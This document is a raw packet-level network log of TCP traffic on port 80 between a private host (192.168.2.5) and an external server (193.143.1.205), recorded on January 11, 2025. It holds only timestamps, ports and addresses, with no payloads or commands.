Jan 11, 2025 02:00:28.974428892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.974471092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.974493980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.981939077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.989689112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.989726067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.989737988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.989789963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.989806890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.989851952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.989865065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.991828918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.991843939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.991857052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.991899967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.991931915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.992146969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.022802114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.022835970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.022849083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.022941113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.022996902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.023010015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.023020983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.023042917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.023077011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.023122072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.023196936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.023207903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.023227930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.023232937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.023274899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.043047905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.043076992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.043090105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.043159008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.043191910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.043205976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.043241978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.050961018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.050976038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.050988913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.051023006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.051038027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.051043987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.051049948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.051060915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.051074028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.051086903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.051120043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.051274061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.051285982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.051358938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.051361084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.051372051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.051408052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.072706938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.072729111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.072741985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.072813988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.072827101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.072839022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.072968006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.072978020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.072979927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.072993994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073015928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.073043108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.073113918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073127031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073173046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.073230028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073241949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073283911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.073348999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073426008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073437929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073448896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073460102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073465109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.073494911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.073741913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073754072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073765039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073785067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.073810101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.073910952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073924065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073935032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.073980093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.074029922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074042082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074076891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.074095011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074106932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074117899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074129105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074134111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.074155092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.074486971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074500084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074508905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074521065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074523926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.074532032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074542999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074543953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.074573994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.074877977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074889898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074901104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074912071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074918032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.074924946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074933052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.074934959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.074964046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.075252056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075263977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075273991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075284958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075287104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.075297117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075309038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.075309038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075350046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.075747013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075758934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075768948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075779915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075784922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.075790882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075802088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075812101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.075813055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075824022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075835943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075845003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.075845957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075858116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075866938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.075870037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.075887918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.075906038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.076586962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076600075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076610088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076622009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076627970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.076633930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076644897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076654911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076658010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.076667070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076678038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076683998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.076689005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076700926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076711893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076719999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.076729059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.076729059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.076744080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.076759100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.077373981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.077387094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.077397108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.077408075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.077425003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.077450037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.078500032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.081278086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.081304073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.081315994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.081350088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.081412077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.081446886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.081475019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.081486940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.081497908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.081523895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.088098049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.113012075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113029003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113039970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113087893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113099098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113120079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.113182068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.113204002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113217115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113245010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113253117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.113255978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113265991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113297939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.113454103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113466978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113483906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113491058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.113495111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113507986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.113523006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.113542080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.113765955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.134754896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.134773016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.134788036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.134804964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.134816885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.134821892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.134860992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.134948969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.134959936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.134970903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.134974003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.135004044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.142498970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.142515898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.142554998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.142568111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.142580986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.142615080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.142680883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.142725945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.142741919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.142755032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.142765999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.142776012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.142796040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.142818928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.142971039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.143022060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.143033028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.143043995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.143066883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.143075943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.143235922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.143248081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.143282890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.147074938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.164530993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164547920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164558887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164582968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164593935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164604902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164617062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164666891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.164720058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.164834976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164845943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164855957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164866924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164879084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.164892912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.164925098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.164926052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.165095091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165107012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165124893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165137053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165149927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165153027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.165180922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.165419102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165431976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165467024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.165652037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165663958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165673971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165684938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165693998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.165695906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165707111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165718079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165723085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.165731907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.165750980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.165774107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.166100025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166112900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166124105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166136026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166147947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166146994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.166162968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166188002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.166218042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.166579008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166591883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166604996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166610956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.166615009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166626930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166637897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166637897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.166650057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166659117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.166661978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166673899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166681051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.166687012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.166702032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.166726112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.167258024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167270899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167280912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167290926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167301893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167303085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.167321920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167332888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167344093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167354107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167361975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.167365074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167371988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167382002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167387009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.167392015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.167402983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.167423964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.167447090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.168107033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.168122053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.168132067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.168138027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.168148994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.168160915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.168170929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.168189049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.168216944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.169481039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.169570923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.171777010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.171811104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.171821117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.171854973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.171896935 CET	80	49704	193.143.1.205	192.168.2.5
